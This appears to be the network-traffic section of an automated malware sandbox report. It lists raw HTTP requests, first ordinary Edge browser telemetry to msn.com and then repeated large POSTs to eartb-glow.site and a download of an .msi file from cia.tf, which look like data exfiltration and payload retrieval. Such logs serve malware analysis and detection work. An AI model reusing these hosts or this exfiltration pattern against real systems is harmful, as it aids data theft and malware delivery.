Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1739637571971&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=348D4CA072696452184B5934737065A6&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1739637571971&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=47797bf901154d81ac64dcda0b6989c9&activityId=47797bf901154d81ac64dcda0b6989c9&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1739637571969&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 3877sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1739637571971&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=348D4CA072696452184B5934737065A6&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1EC8b548bfcf31d970770da1739637573; XID=1EC8b548bfcf31d970770da1739637573
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 6.45sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 200sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z; USRLOC=; MUID=348D4CA072696452184B5934737065A6; MUIDB=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=a03eee9c-7215-4d53-bc0c-caff5af0ac96; ai_session=K14OnPDpqZ+xrn93871uiO\|1739637571967\|1739637571967; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":31,"imageId":"BB1msyO7","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z; USRLOC=; MUID=348D4CA072696452184B5934737065A6; MUIDB=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=a03eee9c-7215-4d53-bc0c-caff5af0ac96; ai_session=K14OnPDpqZ+xrn93871uiO\|1739637571967\|1739637571967; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1739637571971&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=47797bf901154d81ac64dcda0b6989c9&activityId=47797bf901154d81ac64dcda0b6989c9&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=CF1DC85244FB4ACAA63F6E167F41A953&MUID=348D4CA072696452184B5934737065A6 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1; SM=T; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1739637574183&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 11816sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1739637574188&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 5061sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1739637574860&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 5348sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1739637575172&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9641sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0Content-Length: 147Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 53Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: GET /521d636a01093f9235cfbf0b2bfd5f69.msi HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: cia.tf
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 138115Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 745Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 212Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 380Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 14825Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 67322Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 35Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 140839Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 745Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 212Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 380Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 14825Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 67069Host: eartb-glow.site
